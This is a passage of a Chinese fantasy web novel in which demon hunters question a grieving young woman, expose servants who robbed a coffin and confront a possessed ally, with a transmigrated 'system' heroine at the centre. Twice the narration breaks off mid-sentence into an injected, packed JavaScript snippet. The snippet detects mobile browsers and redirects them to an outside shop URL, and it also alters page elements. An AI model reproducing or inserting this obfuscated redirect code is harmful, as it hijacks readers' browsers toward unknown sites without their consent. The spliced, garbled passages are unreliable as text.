她深吸一口气,指着不远处的一只断手:“她好像是,宋姑娘的侍女。” 谢惊春记得,那日于街上撞自己的少女,右手背上有一颗很明显的黑痦。 “啊——”宋如遇也跟了过来,听见惊春的话,顺着视线刚好看到那熟悉的断手,整个人瞬间扑倒在地,“镜儿!” “镜儿!果真是镜儿!” 她悲痛欲绝,泪水混着蒙蒙雨水流了满脸,干净的脸伏在地上,沾满了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129061|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泥泞。 谢惊春身子挡住她的视线,尽管自己就已经挺狼狈的了,还是将她扶起抱住。 “还有,那是我的小黑……” 宋如遇呜呜咽咽的声音越来越大。 齐怀金粗壮的拇指按紧了腰间剑,上前一步:“这猫妖是宋小姐养的?” 宋如遇的泪水止不住,哭得悲切,说话断断续续:“对,是……是几年前父亲送我的。” 齐怀金没继续说什么,找来人,处理完尸体后望了望天:“已过子时,各位还是先歇息吧。” 说是歇息,其实大家基本上也睡不着,第二日天刚亮,齐怀金便和路植晏一起开始象征意义地盘问宋如遇:“宋小姐可知你一直所养的黑猫,其实是妖。” 两人坐得都不规矩,特别是齐怀金,试图用这种不太正式的问询方式,让宋如遇不会太过紧张。 宋如遇尚不能接受一连失去镜儿和小黑,整个人看起来有气无力,面如金纸,仿佛下一刻就能乘风去了。 她十分不满,撑着额头,秀眉都快连在一起:“怎么可能?我养了它三四年,它也很亲镜儿,为何突然要伤害镜儿?” “宋小姐不知,若它是桃花源的妖,便完全可以解释。受世间浊气慢慢侵染,于昨日爆发,完全成了吃人的妖邪,也不是不可能。” 宋如遇没有说话,双手捂住眼睛,似在藏泪。 “罢了,人死不能复生,说再多也是无意。”她叹了口气,“但刺史府前段时间失踪了一个老阍者,张正,不知二位可查出什么?” 齐怀金摸了摸自己的络腮虬髯:“据我调查,张正最后一个见到的人就是宋小姐的丫鬟,镜儿。” “什么?” 镜儿大部分时间都和自己在一起,如果她是最后一个见到张正的人,那只能说明自己也是最后一个见到张正的人了。 宋如遇盯着自己茶盏,犹豫半晌,决定将自己召见张正的事说出来。 “前天晚上,我找张叔有点事,便让镜儿带他来西院一趟,大概就说了一炷香的话,我就让镜儿送他走了。可没想到第二天晌午就要人报说张叔已经大半天没出现了,以前根本没出现过这种情况。” 路植晏不经意道:“有点事,何事?” 宋如遇滞住了,泪水如串珠:“就是托他在阿爹房中偷些母亲的遗物,以慰藉我思母之苦。” 哪知此人不依不饶:“一句话,一炷香?” “当,当然不是!我从小就被阿爹管得紧,因身体孱弱,哪也不许我去。母亲郁郁寡欢,也不爱往我这儿跑,我对她的了解不是很多,可纵使如此,到底是我阿娘,她去世了我心中不好受,阿爹天天不是忙事务就是在阿娘和阿兄的灵位前怅惋,我也只能从张叔口中多多了解母亲生前事。” 齐怀金拍了拍路植晏:“路小兄弟,何必纠于细枝末节,我们对宋小姐只是例常问话而已,莫要激起伤心事了。” 路植晏斜眼看了眼肩头,又看了看齐怀金:“司使说的有理。” 齐怀金意识到什么,讪讪缩回手。 呵,没点大的毛头小子,却这么在意别人碰。 “抱歉,宋小姐。”路植晏转头盯着宋如遇,几乎将人盯得发毛才突然扯出一抹淡淡的笑,但笑意刚起便被压下,看起来十分正经,“张正离开西院时,那只黑猫在哪儿?” “这我记不大清楚,它喜欢乱跑,经常不在我房中。” 齐怀金一拍桌子:“那就是了,如此,张正的死就清楚了。” “那张正的尸体在哪儿?!”听闻此言,宋如遇激动地站起身,带动凳子响动。 对面两人同时抬头扫了她一眼,而后眼皮快速垂下。 路植晏道:“结合宋小姐所说,张正应当是在快离开西院时,被猫妖咬死,啃食了尸体。” 宋如遇呆愣愣地消化着这句话,无力地坐了回去,纤细的葱白手指绞着手中帕:“从我出生起,他就侍奉父亲左右,没想到会落得如此下场……” 齐怀金义愤填膺:“是也,所以世间妖怪均该死。” 28. 松鼠与金陵(八) 猫妖虽已除,但齐怀金提议为防生变,先布符阵三天,若三天内无事发生,就暂时停了对府中的监视。 看着一桌子琳琅满目的饭前糕点,齐怀金随便咬了一口便觉得索然无味:“难吃!刺史府的东西也太难吃了!” 难吃?一旁的谢惊春完全不能理解。 谁说这桃花糕难吃的啊,这桃花糕可太棒了! 必须打包起来给松鼠留点,它肯定也爱吃。 就是现在不知它在哪儿,它那难以被察辨的妖气,这种情况却成了劣势,找起来如同大海捞针。 奉菜的是个看起里十分精明的女子,笑意盈盈的,自唤云娘,听见齐怀金的抱怨,她利落地跑过来:“请司使稍等片刻,这些只是开胃糕点,正菜还在后头呢。” 云娘说完,便要去催菜。 谢惊春怕等会就会将桃花糕撤下,有点想悄无声息地用纸包了两个留给松鼠,可又自知此举不妥,想着还是等云娘过来时问问。 可云娘催个菜仿佛把人催没影了,谢惊春左望右望,从门缝里望见云娘在和一个男人说话,两个人面色都不好,好似在压声争吵。 男子拽着云娘的袖子,叽里咕噜的嘴皮子上下翻飞,而云娘满脸担忧,说了几句就低头沉默,最后不知是听得烦了还是担心屋里的人听到,抖着胳膊甩开男子,急着往屋里走来。 终于将云娘盼星星盼月亮地盼到了,谢惊春趁着她上最后一道菜时,小声提问:“你好,请问这个桃花糕我能拿走两个吗?” “自……”在看清谢惊春面容的一瞬间,云娘像是被定住了,只有嘴唇动了动,情不自禁地说了两个字,“戚戚……” 谢惊春不明真相:“嗯?你说什么?” 云娘看了好一会儿,才收回心神:“没什么没什么……姑娘刚才说的什么?” 谢惊春伸出两根手指:“请问这个桃花糕我能拿走两个吗?” “自然可以!” 谢惊春在桃花糕上面虚虚地做拿取的动作,目光灼灼地看着云娘:“那,那我拿走了……” “姑娘可随便拿,全部拿走也无碍。”云娘殷勤地帮她打包,“我们大人说过,哪怕自己饿死,也要让客人尽兴。” “不不不,不用,两个就行,谢谢。” 松鼠嘴馋得很,但什么东西都不喜欢一次性吃太多,况且它胃还小,这么实料的桃花糕,两个够够的了。 等菜上齐了,齐怀金还是不满意。 “难吃难吃,好难吃!” 别看齐怀金五大三粗,口味倒是挺叼,桌上素菜他都是吃一口就吐,非常嫌恶,就算是刺史府,也不给人留面子:“难吃,宋大人还是太节俭,走,我带你们出去吃。” 赵无悲道:“师父,这煎豆腐您以前不是最爱吃吗?” 看着一大桌子的荤得冒油的菜,三人都没什么食欲,只有齐怀金一人乐得开心:“哈哈哈哈,这回对味了,老子在捉妖司吃的都没刺史府的清淡,我说宋括这人也忒抠了!” 听师父讲得这般大胆,赵无悲赶紧提醒,心虚地看了看周围:“嘘,师父小声点!” “怕什么!” “齐司使,这个看着更难以下咽,令人作呕,在下难以作陪。”路植晏直言后,站起身,作势就要离开。 谢惊春是本着顺从前辈的心来的,可路植晏要走,她也不太想留。 “哎哎哎,路兄,惊春姑娘,别走,还有要事相商!”赵无悲怕扫了师父的兴,便故意起了个话题,表情还十分浮夸,“带我们进府的老人居然就是张正!他当时说的什么……她回来了,小姐一定是被她附身了。这是什么意思?难道说,宋小姐……” 见路植晏停住了,赵无悲看着谢惊春:“惊春姑娘,前夜只有你与宋小姐独自相处过,可觉得她有何不对劲之处?” 谢惊春到现在都不知道系统为何会冒出一句【等等】,明明在当阳时,系统都能捕捉到电波的存在,为何到了面对面的距离,系统却犹豫了,只是这样的不对劲她也不好说出来,便假意想了想,而后摇摇头:“没有。” 松鼠依旧是杳无音讯,他们这两日几乎都没怎么睡,一个个精神状态都不是很好。 路植晏脑中一直盘旋着张正的那几句话。 她回来了,她指的到底是谁? 附身宋如遇…… 如果宋如遇没问题,那张正为何要那样说,看他那般恐惧,这个“她”的手段恐怕不一般。 谢惊春:“按齐前辈的说法,这只猫来自桃花源,是近几日突然邪化,成了吃人的妖物。那之前呢,之前失踪的人又是为何?比如刺史之子,比如城中其他无辜的人。” 齐怀金擦了擦嘴,随意地将帕子扔在桌上:“我倒是觉得这些人的失踪,可能和妖无关。” 他顿了一下:“而是拐卖。” “咳咳咳……” 杯盏倒在桌子上,谢惊春捂着嘴猛咳了起来:“不好意思不好意思,呛到了。” 她转了个身,腰弯得很深,恨不得贴着地面,还摆了摆手:“没事没事,齐前辈继续说。” 路植晏抱着手,抬脚踩住她所坐长凳的横档,像跷跷板一样,谢惊春整个人直接滑到他身侧。 “哎哎哎——” 背部莫名被点了一穴,又被拍了一掌,谢惊春抚着心口,递给他一个怨怼的眼色:你是想报凌阳“之仇”吗? 报仇完毕,路植晏收回脚,“啪嗒”长凳落地,谢惊春又稳稳当当坐回中间。 不过新奇的是,她确实不咳了,胸腔之间都觉得舒坦不少。 好吧,误会了。 “多谢。” 路植晏瘪瘪嘴,从唇语就能读出来他说的是:切,虚伪。 “我小时候就曾被拐卖过。” 齐怀金目光无定,平静开腔。 赵无悲一愣,没想到这么厉害的师父居然还有过被拐卖的过往。 谢惊春目不转睛地看着齐怀金,如果不是因为她眼神中的无神和僵滞,或许齐怀金都要觉得被盯得冒犯了。 齐怀金:“我已忘记自己家在何处,父母为谁,只记得从小就被拐到乐州,养父母死得早,日子过得贫苦。后来意外得知自己有法力,本想着上当阳学艺,可半路上又被拐到了西南,干了几年的采石奴,好不容易找到一次机会逃跑,那时候才十岁,也没人教怎么辨别方向,就随便挑了个方位一路瞎跑,不要命地跑,最后居然又跑回乐州的城门前,还是无悲的阿姐给我捡回去的。” 他说得轻松,末了,还看了赵无悲一眼,看来已是放下过往。 赵无悲一直以为师父和自己一样都是乐州人,不曾想是被拐过来的。 更让他惊愕的是,师父那样一个自负的人,居然会在人前,还是在刚见过几面的人前自揭伤疤。 没有人说话。 最先发问的还是看起来心不在焉的谢惊春,她问得小心翼翼,生怕戳到了齐怀金的少时创伤:“那敢问齐前辈,后来是怎么学到这个地步的?” 她指了指齐怀金腰间的红缨剑。 “偷学。早些年,乐州还没现在富庶,遇到妖物,需要乐州刺史和长史的公印和文牒,报到离得最近的金陵来,再让金陵捉妖司派人前去除妖。我每次在他们来之前就在妖物出没的地方躲起来,看看这些人到底是如何捉妖的。” 说到了一半,齐怀金自嘲地笑了笑:“有一次还被妖物当做人质,差点命都丢了,得亏皮糙肉厚,命大得很,被一个绿缨捉妖师瞧中,将我带到金陵教了些东西,但这远远不够,我一边偷捉妖司的卷宗和藏书,再干力气活换点臭钱,去书铺淘一两本捉妖师起居注和手札,一边偷偷跟着他们后面出司,躲在角落里偷学。” 说完,他摸了摸自己的剑,甚是爱惜。 赵无悲没想到师父的过去,竟这般凄惨且坚韧,他张 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“不疼了就好,不疼了就好。”谢惊春赶紧抓走路植晏,顾说他事,“其实我一直有个疑惑,为何带我们入府的那个张正会借尸还魂?” 路植晏抬眼:“谢惊春,人若是被妖怪害死,魂魄残缺,是不能借尸回魂的。” 谢惊春不知竟有这层说法。 赵无悲立刻说道:“什么,难道张正不是被妖害死,而是因为人?” 齐怀金哀叹一声,扒住徒弟的后颈,使劲按了按:“你呀,和你说过的全忘了?人若死于妖之手,自然不会借尸还魂,除非……” 路植晏道:“除非有人用了邪术。死于妖手的尸体因藏有异气,最容易发生尸变,若前夜我们没来,恐怕整个刺史府都得成为炼狱。” 赵无悲讪讪摸了摸脑袋,不敢看自己的师父:“徒弟没忘,只是没想起来。” “这般恶毒,会不会是刺史的仇家?”谢惊春疑道。 “那只能等刺史回来再问他了。”齐怀金转了转脖子,猛灌了口小酒,“我要回捉妖司一趟,将猫妖,镜儿以及张正的事报上去,无悲,你就同路小兄弟和谢姑娘回刺史府,不要放过任何风吹草动,符阵一动,我心则动,我定会及时赶回。” 说罢,他将杯子啪一下倒扣在桌上,边要起身离开边嗤道:“什么猪狗捉妖司,就是破事多,每天都得上报任职日志。” 剩下三人本就无心小聚,起身与齐怀金道别后,便也匆匆赶回刺史府。 “后天十五,你去不去灵安寺求姻缘啊?” “阿姐讨厌,我才不要去求姻缘!” “好好好,不求姻缘不求姻缘,那就求我的阿妹平平安安。” 路上有戴着幕篱的姊妹追赶调笑,经过谢惊春身边,透来阵阵熏香。 谢惊春侧目望去,发现已经走到上次买东西的巷口。 这两天是不可能去灵安寺了,更不能应约买什么裱纸,不远处的摊贩似乎认出她,却也不敢像上次一样热情招呼,相反的,恨不得将自己缩到地底下去,甚至没等几人再走几步,他就已经像避瘟神一样火速收拾离开了。 额……看你路植晏给人家吓的。 谢惊春转过头,习惯性将手伸进包里,却没能像以前一样摸到松鼠毛茸茸的毛发,她望着前方,又想起前夜之事:“我刚才又仔细回忆了一番,我觉得当时张正指着我的包,说的可能不是肉,而是,走。” 她后来想了想,若说的是肉的话,实在解释不通,只有走和后面那句它走了,才相呼应。 连别妄铃都感受不到的小妖,一个借尸还魂的死人能感受到,还莫名其妙让它走,实在是匪夷所思。 路植晏道:“明天是最后一天,如果符阵还是没有反应,说明松鼠绝对不在刺史府。” 29. 松鼠与金陵(九) 夜时,谢惊春照旧回到长廊下,蹲着身子找了松鼠,园中多数牡丹花被雨水打残,也无人打理,铺了一地的残色。 “嘶嘶嘶……” 若有若无的嘶声幽幽传来,一听就是人拙劣地模仿蛇的声音。 谢惊春刚起身又赶紧蹲下起身,抱着膝盖看向不远处的树。 树下,只见一男一女蹑手蹑脚地走到一起,隔着浓浓夜幕,谢惊春看不清他们的身形,只能伸长耳朵,勉强辨清他们说的每一个字。 “咱们真的要离开金陵吗?走了可就回不来了。” 听这声音,竟像是云娘。 男子低声喝斥:“妇人之仁!在性命面前,你这点故土情怀算得了什么!到时候他回来了,查到咱们头上,你觉得咱们还有活路?!” “那……那咱们赶紧逃吧!”云娘提了提肩上的包袱,红唇儿都吓得煞白。 两人也不再多说,瞧着四下无人,便牵手朝着后门跑去。 偷偷离开金陵?这应该算异常情况,要拦一下的吧…… “去哪儿?” 谢惊春横剑,挡住他们的去路。 云娘定定一瞧,发现竟是白天问她讨要桃花糕的姑娘,姑娘看着没什么威慑力,但也是三正法司的人,再想起自己曾经干过的事情,云娘整个人一抖,忙不迭地跪在地上,行了个大礼。 一旁的男子看她这样,气道:“起来,你这个没出息的!一个小姑娘有什么好怕的!” 谢惊春一愣,自己好不容易鼓足勇气,独自深夜拦人,没想到竟将人吓到如此地步,还受了个比自己大了近二十岁之人的大礼。 她慌忙将人扶起:“云娘,你你你,你这是干什么?我只是想警告你们,再往外走,就出符阵了,很危险的。” 云娘这才哆哆嗦嗦地站起来:“姑娘,我……我们就是想家了,想回去看看,有些心急。” 男子笑着附和着:“是啊是啊,不知家里人都过得怎么样呢,符阵这两天也没反应,想必也没什么事,再说了,不还有你们在吗?” 言语之间,多有谄媚之意。 可谢惊春并不吃这一套,方才的话她可是听得真切:“他回来了,查到你们头上,不会放过你们?他是谁,你们又做了什么事,怎会怕人查呢?” “这……”男子一下失语,和一旁紧张到冒汗的云娘对视一眼,眼神由躲闪变得坚定,“姑娘说的什么?小的如何听不懂?” 把人当傻子也不带这样的。 “你知不知道你不说清楚,我可以怀疑你与此次妖案有关,将你带去捉妖司?” 第一次威胁人,谢惊春还有点别扭,显得色厉内荏。 说着,她看向破绽最多的云娘:“云娘,还是你来说吧。” “小姑娘,我什么也不知啊……我,我只是想回家看看而已,求你放过我们吧。” 谢惊春忿忿:“难道你们真的想去捉妖司走一……” 话音未落,男子突然拉着云娘跑起来。 这般心虚,必有异。 “休想逃!”谢惊春凌空翻了个跟头,衣袂翻飞如蝶翅,但待稳稳落下时,却是两个人。 “齐前辈?” 齐怀金不知何时来府,还带来了两个小捉妖师,他站在谢惊春身前,侃然正色:“符阵动了,谢姑娘,这两个人怎么回事?” 再次被拦住去路的云娘绝望地看向身边男子,后者闭着眼,一声不吭。 谢惊春像是认认真真回答老师问题的学生:“他们深夜离府,还说等谁回来,有什么事会查到他们头上,听起来很有问题。” 齐怀金朝着那两人走去,魁梧的身躯增加了威逼感:“自己说,还是我带你们回捉妖司说?” 犹豫片刻后,他们终于松口,开始哭天抢地:“司使饶命,司使饶命!我们说,我们说!” 云娘伏在地上:“宋大人深爱夫人,前段时间夫人出殡,我们两个人就想着……” “什么我们两个,是你,是你先动的歪心思!” 云娘没想到正欲托付终身的人会是这幅德行,当场发怒,方才畏畏缩缩的姿态全然消失,目眦欲裂地喊道:“许老四!明明是你撺掇我的,要不然凭我在府中的日子,断不会做出这般不敬主家之事!我算是看透了,你就是个背信弃义的小人,亏我还趁少爷出事,大人对府中事多不过问,趁乱将你塞进府当个厨子,要不然你能有口饭吃?!” “厨子?厨子也是凭本事吃饭,有你什么事?自己为了那点陪葬品掀棺,如今还想拖我下水!” “好你个许老四,没脸没皮没骨气的,敢做不敢当!” “你们两个想吃刑了?还不快说正事!”齐怀金将红缨剑抽出半截,指着许老四喝道,“还有你,做饭确实难吃!” 说别的就算了,居然说自己做饭不好吃,许老四瞬间瞪大眼,似乎要用眼珠子和齐怀金干一架,要知道,从小身边人虽哀叹他就是个围着灶台转的人,没什么大本事,却也无人说过他做饭不好吃! “瞪什么瞪!不好吃还不让说?” 许老四低着头,憋了一肚子的不服。 云娘红着脸,把鬓发一捋:“哼!大人,在夫人停棺之时,就是这个许老四撺掇我开棺偷夫人的陪葬品!只是……” 齐怀金拿故作拔剑:“你们居然敢偷陪葬品!” “司使听小的说完,听小的说完……” 齐怀金硬将震惊和怒气吞下去:“说!给老子好好说!” “当时许老四一打开那棺材,里面竟是空无一物!” “可不是我打开的!”许老四还想狡辩,试图将自己的罪撇得轻一点。 齐怀金一个冷眼扫过去,他直接噤声,嘴里咕哝着什么,还恶狠狠地瞪着云娘。 “云娘你慢慢说,将你能想起的怪异之处都说出来。”谢惊春温声道,生怕云娘一个害怕就什么都想不起来了。 云娘瑟瑟地点点头,沉浸在回忆中,开始大口呼吸,咬着指骨:“当时少爷丧事一办,夫人就彻底不出来见人,直到有一天早上我去洒扫小佛室,才发现夫人已然自缢,距今不过半月,再者,听有些下人传言,说大人不舍夫人,除了冬日的一点蓄冰,一向勤俭的他竟斥巨资买冰,只求夫人尸体不腐,所以夫人的尸首定在未腐,可到底……在哪儿呢?” 云娘越想越觉得害怕:“不会是被人偷了尸体吧!” 偷尸体? 难道说真的有人想要利用尸体害人,如此金陵案就不能叫失踪案了。 而且,正如云娘所说,刺史夫人的尸体,被“偷”至何处呢?还有张正的尸体又在何处?现下,也只能确定这两个人是已经死了的。 谢惊春自己都未发觉,明明刚入金陵时,她很想置身事外,现在却也研精覃思起来。 “先把他们带到前厅看住,等宋大人回来,再做定夺。”齐怀金回头对他带来的两个小捉妖师道。 云娘膝行向前,声嘶力竭地哀嚎,哭得一把鼻涕一把脸:“司使到时可要替小人说清楚,是这个许老四撺掇我的,非我本意啊!另我发现夫人尸体不翼而飞,也算是大功一件。” 许老四抬脚就欲踢人:“臭娘们,非要拉我做垫背!” 只是他膝盖还没完全抬起来,就被金樽剑鞘打下,发出骨头的闷击声,听着就够疼。 “有事说事,踢人,可显着你了?” 许老四疼得哇哇乱叫,瞧着一旁齐怀金的模样,却也不敢再说谢惊春什么。 待两人被强行带走后,谢惊春问道:“齐前辈,你方才说符阵有异动是怎么回事?” “不清楚,异动很小,微不可察,我已经让路小兄弟和无悲去查看了,想必没什么大事。” 会不会是松鼠? 谢惊春心不在焉地点点头,正准备开口道别,想赶紧去找松鼠。 齐怀金却拔步而来:“你是积玉山的人。” 不是疑问,而是陈述。 谢惊春奇怪地问道:“前辈如何知晓?” “你的父亲叫谢从因?” “那是我大伯。” 齐怀金点点头,不再继续问下去,站定后眼神涣散,似是忆起了陈年往事:“我与你大伯曾经见过,当时,他也带着这平安锁,与我一起猎妖,好不痛快。” 这平安锁居然是大伯的?为何爹一直没提过? 他长叹一声,面露感伤:“听闻你大伯如今失踪了?” “据我爹说,大概十七年没见过他了,当初他收服玄阴妖后就再也没出现过。” 谢惊春望着天上圆月,莫名其妙想起那本《大少爷的奇遇手札》,福至心灵,她脑中灵光一现。 积玉山,大少爷。 会不会就是大伯谢从因吗? 心中有了躁动,她急切地想要回去再看一看那本手札,转头却发现齐怀金一直看着自己。 或许是月光照耀,他的脸居然比之前要白上许多,像是刚哭过或打了哈欠,眼尾隐隐发红,眼中也爬上几根红血丝,整体看起来,竟像是化了女儿妆,再配上他那一脸的络腮胡,古怪至极。 谢惊春乍一抬头,还有点被吓到了,不过未表现出来。她指着齐怀金的眼睛:“前辈,你的眼睛?” 齐怀金抹了一下眼尾,还是看着她,露出一抹与话语不符的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151333|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑:“谢兄这样的天才失踪,实在可惜,不由伤感啊……” 听到这句话,谢惊春慢慢锁起了眉。 因为她眼睁睁看着齐怀金的身子朝她倾过来,因压抑着愤怒,他眼中的血丝越爬越多,越爬越多,整个左眼似乎都要淹没在红色的沼泽中,那些血丝似乎还要沿着脖颈往脸颊处攀爬。 谢惊春渐渐把头往回缩,齐怀金那双活珠般的圆目突然近在咫尺,他缓声道:“你和路小兄弟这几天一直在找什么?” 周遭悄然。 远处小池荷叶上的滴水声,竹林中的鸟鸣,在谢惊春耳边愈变愈大,声音嘈杂又如尖锐的耳鸣,心跳也愈来愈快,谢惊春扶柱轻轻挪动脚步,身子慢慢向后旋转。 然而心跳的鼓点至高潮,一切戛然而止。 “谢惊春。” 谢惊春回过头,正看到夜色在路植晏身上一寸一寸褪去,他闲庭信步地走过来,像是散步至此。 齐怀金笑着,面上团圞发亮:“路小兄弟?如何,可探出是何物动了符阵?” 方才语气中的探寻和隐愤全然消失,仿佛一切是谢惊春错看了,仿佛一切危机感都是她臆想出来的。 “齐司使放心,并无异样,想必是有什么误会。” 谢惊春如释重负:“路植晏,你怎么在这儿?” 路植晏道:“我不来,怎么知道你不好好练日常心法,居然耽误齐司使歇息?” 说罢,他勾起惊春的腰链,一把将她拽到自己身边,却又在她即将摔在自己臂弯之时,及时扶正她的肩膀。 指尖恰到好处,只与柔软的面料擦肩而过,没有触碰到她的后腰。 他看向齐怀金:“齐司使……” 一语未毕,路植晏骤然凝眉,他感觉自己神魂一震,有什么东西带着巨大的冲击力,势不可挡地撞上灵魂,若有出窍之势。 眩晕袭来,耳畔响起别妄铃的声音。 “路植晏?”看着他身形不稳,像是要一头栽倒,谢惊春急忙搀住。 铃声未断,谢惊春的脑海也似是被击中一般,有着刹那的失神与空白。 所有的力气在须臾之间被抽走,身体如纸片摇摇欲坠。 黑夜里,一道黑色的影子以极快的速度穿梭,一闪而过。 柱子上的符光乍现,极速收缩。 也是在此时,飞剑入柱,路植晏将谢惊春搂进怀里,手上青筋渐起,他一手抓着长吟,一手按紧了谢惊春的后脖。 游龙燃起熊熊烈火,金樽闪出灼灼银辉,两道剑影同出,试图追寻那乍现的黑色影子。 忽而,铃声止,风声停,所有的声音像是被装进了黑色袋子。 齐怀金颤颤巍巍捂着眼睛,嘴角还溢出血来,被他舔了回去,情况比他们两个还要严重:“发生了什么?你们俩没事吧?” “没事。” 路植晏快速平稳心绪,但谢惊春却没有第一时间醒过来。 “喂,谢惊春……” 看着她眼角微动,路植晏将欲拍醒她的手收了回来,语气冷肃:“没晕就不要装了。” 他正要撒手,却被谢惊春突然拽住衣襟:“等等,我好像想起什么了。” 齐怀金刚才给她的感觉很熟悉。 谢惊春虽然说自己想起来了,可是接下来的话却不知道怎么开口了。 她思索着,思索着,直到意识到自己还在路植晏怀里,直接一个鲤鱼打挺飞身跳起,故作若无其事地刮了刮耳朵,可脸上却是越想控制越涌上来了的霞红。 路植晏理了理衣襟,站起身:“你想起什么了?” “我又忘了……”她沉默了一会儿,将视线转向齐怀金,“前辈,你没事吧?” 说话说一半,路植晏看向她的眼神实在算不上友好,恨不得拿刀架在她脖子上说:以后说话再这样说一半试试! 齐怀金粗略豪放地抹了脸:“我没事。只是看来这刺史府还是不安宁啊,还是藏着鬼东西。” “这样,你们随我去重布符阵,定要揪出刚才到底是什么妖魔鬼怪在作祟!” 他的声音雄浑壮厚,中气十足,嫉恶如仇的样子就是电视剧中那种呆板但足够强悍的某道宗主。 【感应到强烈电波。】 系统发出提示音,也就是说宋如遇就在附近。 谢惊春错开头:“宋小姐?” 宋如遇站在檐角下,不知站了多久,她换了一身白衣,披头散发,许是刚刚洗了头还没来得及绞干,湿漉漉还慢慢滴着水,面上因冷透着惨色,蓦地出现在那儿,倒有些瘆人。 应该是刚巧路过。 “我刚巧路过。” 30. 松鼠与金陵(十) 宋如遇极不自然地走出来,脸上挂着拘谨的笑:“我是想找谢姑娘的,但发现她不在房间里,就随便走了几步……” 可能是太想留住谢惊春,她目光殷切,又补了一句:“谢姑娘,你能随我来吗?我有急事。” 谢惊春咬唇想了瞬息,点点头:“这样,路植晏,你和齐前辈先去,我和宋小姐说说话。” 宋如遇猛抬头,睁大眼睛,明亮的深栗眸子如十里春风吹过一汪清泉,清凌凌的眸子蓄起湿润雾气,她拎着裙子向路植晏走了几步,步履微晃,像是终于找寻到许久未见的故人。 路植晏不明所以,英朗坚毅的眉头随着距离的拉近,越发拢起,周身散发出浓重的疏离。 谢惊春看着他们二人,觉得气氛有点不对劲。 “宋小姐?”路植晏及时出声,止住宋如遇的奇怪举动。 宋如遇缓过神:“奥,实在抱歉。” 路植晏没有客客气气地回一句无妨,而是直接忽视她,走到谢惊春身旁。 下一刻,温润的触感让谢惊春一怔,虽然不知何意,或许是眼神默契又或许是第六感,她闭了嘴,静默地看了路植晏一眼。 谢惊春握紧了手中的三正玉牌,上面的行书纹路清晰凸起,如青葱绿叶倒映于山间清泉,质感一绝。 他们刚受袭,宋如遇就刚巧出现,而且毫发无伤,未免真的有点太巧合了。 曲廊打造得如九曲回肠,当以为快到了的时候,却发现还有很长一段路要走,有几段的廊下开始出现各种红绦串过的木牌,以及黄底丹敕的符箓。 齐怀金道:“这可是号称能镇住玄阴妖的符阵,这刺史府若当真有妖,定插翅难逃,但刚才那妖却像是会瞬移般,竟能在那么短的时间内逃出符阵。” 哪有能镇住玄阴的符阵,当年若不是谢从因如此如神人下凡的第一等天才出现,想必大妖玄因也不会被封印路家后山的束妖窟。 号称也只是号称而已…… 路植晏看着手中隐隐发光的符,悄然将其收紧:“齐司使,这刺史府当真有妖?” “本来不确定,但现在我确定,这刺史府肯定有妖,而且还是只大妖,早通灵智,隐藏颇深。” 齐怀金脚步慢了下来,瞥向身侧人,继续道:“或许,还不止一只。” 路植晏嘶了一声:“不止一只,那有些难办啊。” 齐怀金笑道:“当阳路家有各种独门秘术,从不外传,路小兄弟就不必谦虚。” *** “宋姑娘,你有什么事吗?” 宋如遇的脸上已经换上欣喜的表情,她指着路植晏的背影:“你刚喊他什么?路植晏?我只知道他姓路,竟不知他就叫路植晏!” “嗯嗯,对。”谢惊春点点头。 “上次情况紧急,我们都没说几句话,现在刺史府已经没什么危险了,我想和你聊聊天。” 宋如遇的心情似乎好多了,或许是因为面前这个与她同是天涯沦落人的谢惊春,让她觉得几分心安。 谢惊春本以为她真的有什么急事,没想到就是找她聊天的,她一直想着刚才发生的事,心早已跟着路植晏和齐怀金飞到布阵的地方了。 宋如遇问道:“谢姑娘,你还记得你是怎么穿过来的吗?” “这我还真不记得了,我都怀疑我是不是被拐过来的。” 谢惊春摁着额角,有些苦恼。 宋如遇摸了摸自己的肚子,一副痛楚彻骨的模样:“我倒是记得清楚,我是胃癌晚期直接嘎了,系统说完成任务我就能无病重活,我到现在都记得在世时经常痛得死去活来,所以现在还得感谢系统呢。” 她想起什么:“你也是攻略系统吗?绑定的是谁啊?” 谢惊春半天没回过神,思绪飘定不安。 她,穿书之前做的最后一件事,到底是什么? 她无论如何也想不起来。 “谢姑娘?” 谢惊春气息一哽,脱口而出:“我不是攻略系统,而是……” 【等等宿主,先不要暴露我。】 谢惊春不知何意,但是本着系统不可反抗的原则,乖乖刹住了。 宋如遇眨巴着澄澈清亮的眼睛:“你不是攻略系统吗?反正我是,至于绑定的是谁,说出来你可能不信,我的绑定对象居然就是路植晏,你说巧不巧?” 果然是路植晏,他干什么了?系统那么喜欢逮着他一个人薅,难怪刚才宋如遇看他的眼神那般怪。 谢惊春皱了皱鼻子,暗暗腹诽:路植晏你怎么那么受各大系统的欢迎? “我的系统很简单,没有绑定谁,就是活着见证结局就行,偶尔会有些副本任务。比如这次的任务,就是来刺史府捉妖。”谢惊春扯了个小谎,谎言让她有点心虚。 “你这也太好了吧!”宋如遇一脸羡慕,“不像我,那个路植晏一看就不好攻略!” 想想他直接忽视自己的疏离样子,她就觉得此后任务应当十分艰巨。 说不上什么感受,也不知该说些什么,谢惊春只是笑了笑:“可能,可能也不一定吧……” 宋如遇的眼眸一亮:“真的吗?” 可她立刻又垂下头,盯着自己的脚尖:“哎,我想回家。” 她万分真挚地看着惊春,伸出手:“我真的好想回去啊,惊春,我们一定要一起回去!” 